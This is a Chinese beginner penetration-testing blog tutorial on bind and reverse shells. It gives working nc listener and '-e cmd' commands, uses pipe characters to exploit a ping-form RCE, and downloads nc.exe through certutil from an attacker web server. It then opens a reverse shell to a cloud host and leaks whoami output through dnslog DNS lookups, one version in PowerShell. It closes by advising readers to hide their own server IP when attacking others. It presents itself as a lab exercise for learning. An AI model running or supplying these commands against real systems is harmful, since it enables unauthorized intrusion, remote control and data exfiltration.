[基础入门]正向shell和反弹shell

前言

在渗透过程能获取shell是很重要的一点,首先可以使用一些漏洞对ssh和ftp进行攻击获取shell,如果没有这些漏洞可以考虑一下使用正向shell或者是反弹shell。

一、什么是正向shell和反弹shell

其实这个过程是相对的,需要找到一个参考点,假如说现在目标机器是Windows,攻击机器是Linux,Linux去连接Windows这个过程就是正向的,相反,如果Windows主动连接Linux那就是反向的,也叫做反弹。

二、正向shell

现在有两台机器,一台是Linux,一台是Windows,我使用Linux正向shell到Windows上。

首先在Windows上使用nc工具进行绑定端口,这里使用的是本地环境

nc -lvp 5566 -e cmd

其中5566是绑定的端口号,cmd是Windows的命令行窗口,然后运行

img

出现这样的界面就代表监听开始了,然后来到Linux环境下,也是使用nc来进行连接,需要注意的是,Linux和Windows要互相能进行连接才有用

nc IP地址 5566

IP地址是目标机的IP地址,5566是刚才绑定的端口号

img

当出现下面的内容就代表着连接成功了

img

我们可以输入指令运行了

img

这就完成了一次正向shell,当然也可以让windows连接Linux,在Linux中也是一样的操作

img

绑定的也是5566,然后在Windows中使用刚才在Linux中使用的指令就可以进行连接

img

这里需要注意一下,当在Windows连接Linux的时候是不会显示任何东西的,你可以一直使用whoami来查看自己是否连接成功

img

如果出现用户名就代表着连接成功了。

这种方式就是让目标的某个端口携带着shell的程序等待着连接,攻击机自动的去连接它获取这个shell。

对于云服务器也是可以这样做的,首先来到目标的云服务器上,记住,一定要开放相应的端口才行,否则没办法使用。

img

然后本地连接对应的服务器IP地址和端口

img

就可以连接成功了

img

云服务器之间的互相连接也是可以的。

三、反弹shell

这种方式又是和正向是反过来了,攻击机自动打开端口等待着目标机带着shell进行连接。

这种配置的方法也很容易,假如我的Linux是攻击机,Windows是目标机,首先在攻击机这绑定一个端口

img

可以看到这里是没有携带着自己的shell的,然后在目标机中携带着shell来连接攻击机

img

可以看到这是携带着shell去连接到攻击机的,在攻击机中就可以获得对方的shell了

img

然后就可以运行命令了。

相反也是一样的,首先在Windows攻击机中进行监听端口

img

然后在目标机中连接端口并携带shell

img

然后在Windows这边就可以看到了

img

这种就是反弹shell,让目标主动的将shell送过来。

如果你要反向shell到内网中的机器,只能使用这个反向shell,如果使用正向是没有办法找到内网服务器中的电脑的。

比如说我要内外的一台Windows电脑被连接,首先我需要在我的云服务器上监听一下端口

img

然后使用一些手段到目标机器上连接服务器并携带shell

img

记得携带好端口号和cmd,然后在服务器上就可以看到连接的信息了

img

这种方法一般是用来规避防火墙的,因为安全组对于进入规则的等级比较高,但是对于出去的规则检查就比较低了。

在这个过程中攻击机是处于一种被动连接的条件,而目标机是主动连接的,也就是出服务器,所以基本上不会有什么阻止。

四、使用场景

对于一些RCE漏洞的网站,就可以使用反向代理来绕过其防火墙获得其shell。

1.什么是RCE

RCE(remote command/code execute) 远程系统命令执行,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。

一般出现这种漏洞,是因为应用系统从设计上需要给用户提供指定的远程命令操作的接口
比如我们常见的路由器、防火墙、入侵检测等设备的web管理界面上
一般会给用户提供一个ping操作的web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。 而,如果,设计者在完成该功能时,没有做严格的安全控制,则可能会导致攻击者通过该接口提交“意想不到”的命令,从而让后台进行执行,从而控制整个后台服务器。

例如靶机中的这个一样

img

在输入框中输入url或者IP地址后就会执行命令

img

2.如何判断RCE漏洞

首先得了解一下在不同系统的管道符,管道符在学习Linux的时候会接触到,就是可以将多条指令连接在一起执行,就比如最常见的就是

ls -l |grep xxx

这种查找文件的命令。

管道符:|: 管道符号 ||:逻辑或 && 逻辑与 &:后台任务符

在Windows中有4中管道符,分别是

  • |
  • &
  • ||
  • &&

在Linux下就有6中

  • |
  • &
  • ||
  • &&
  • ``
  • ;

在Windows中如果要执行后面的语句我们可以这么写

ping www.baidu.com | whoami

这样只会执行后面的whoami指令,知道了这个后我们就可以用这个管道符号来寻找RCE漏洞了。

3.寻找RCE漏洞

我们知道了RCE漏洞其实就是执行了操作系统命令或者代码,所以我们可以使用管道符添加一下whoami就可以知道是否存在漏洞,输入

www.baidu.com | whoami

img

然后点击提交后就会发现这个显示的是当前的用户

img

这样我们就确定好这个页面存在RCE漏洞了,我们现在要做的就是上传nc工具,并开启监听,然后进行代理即可。

这里还需要知道一下,如何判断这个网站的后台是什么系统,用whoami执行后会出现用户,一般root的是Linux系统,当然这种方法也不一定准确,还是得需要使用一些指纹工具和端口扫描工具进行扫描。

4.上传nc

这里可以直接百度查找一下上传的命令,这里推荐一个工具可以直接找到

命令工具

然后得到指令后就可以用刚才的管道进行传输了,这里我使用的是这行代码进行远程下载

certutil.exe -urlcache -split -f http://IP:80/nc.exe nc.exe

其中IP是你的文件下载服务器IP,你可以自己搭建一个,搭建过程也是很简单的,首先先在服务器中下载一个宝塔或者Nginx,我比较推荐使用宝塔,直接图形化界面就搞定。

第一次下载打开面板后会让你安装一些环境,可以直接在这把环境安装好,也可以打开网页进行安装

img

然后新建一个网站就可以了,如果没有域名直接使用服务器的IP地址,然后端口可以随便选择,但后面记得在安全组中打开,然后将nc.exe文件放到网站目录中即可。

放入后可以来测试一下是否能进行下载,这里用一个绝对路由就可以搞定

IP地址/nc.exe

如果出现下载就证明成功了。

然后我们可以在电脑上先实验一下上面的命令,如果发现下载成功那就可以直接拿到靶机上去使用。

这里就可以利用RCE漏洞进行远程下载nc了,往输入框写入

127.0.0.1 | certutil.exe -urlcache -split -f http://IP:80/nc.exe nc.exe

img

然后点击ping,就会得到下面的结果

img

我们可以查看一下是否上传成功

127.0.0.1 | dir

在里面就可以看到我们传入的nc.exe了

img

然后我们就可以正向或者反向shell了,这里两种情况都给大家介绍一下,首先是正向,就是把自己的cmd主动绑定出去

127.0.0.1 | nc -lvp 5200 -e cmd

然后页面就会卡顿,我们使用本地或者服务器去连接

nc IP 5200

img

直接就获取到cmd,但是这种方法容易被防火墙拦截,所以我们最好使用反向。

在云服务器上监听一下端口

img

然后在RCE漏洞那输入

127.0.0.1 | nc IP 5200 -e cmd

主动的将cmd放出去

img

很容易就获取到了。

5.不带回显的情况

当这个漏洞不带任何的回显,也就是输入了没有任何的反应,就比如这个样子

img

那如何判断我们输入后的结果呢?

我们可以让这个去ping一下这个工具给的地址

img

如果ping了这个地址,这个页面就会出现内容

img

但是我们如果使用前面说的管道就没办法输出内容,因为那个是属于回显的内容,比如说我还是执行

7y6n06.dnslog.cn | whoami

它是不会显示任何的内容的,这里在Linux中使用

127.0.0.1 | ping `whoami`.7y6n06.dnslog.cn

img

它是会显示的

img

但如果我们在Windows中就不会显示用户,所以我们要使用一种方法将用户信息带入出去这样就可以知道执行是否成功了,这里需要使用到PowerShell来进行字符串的拼接,使用下面的命令就可以了,但我这ping不通,我也不知道什么情况

127.0.0.1 | powershell &x=whoami;&y="6zhay5.dnslog.cn";&x=&x.Replace("\", "xxx");&z=&x+&y;ping &z;

这样就可以将whoami信息带出来了,剩下的步骤还是一样的。

总结

使用正向和反向shell可以获取到对方的shell并实现一些命令的执行,当然这个东西也不是一定能成功的,如果对方开启了防火墙,设置了出入站规则就很容易失败,这只是网络安全学习的一个小步骤,往后还有很多。

你对别人进行这种攻击千万不要使用自己的服务器IP地址,容易被锤。

  • 4
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

恰柠

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值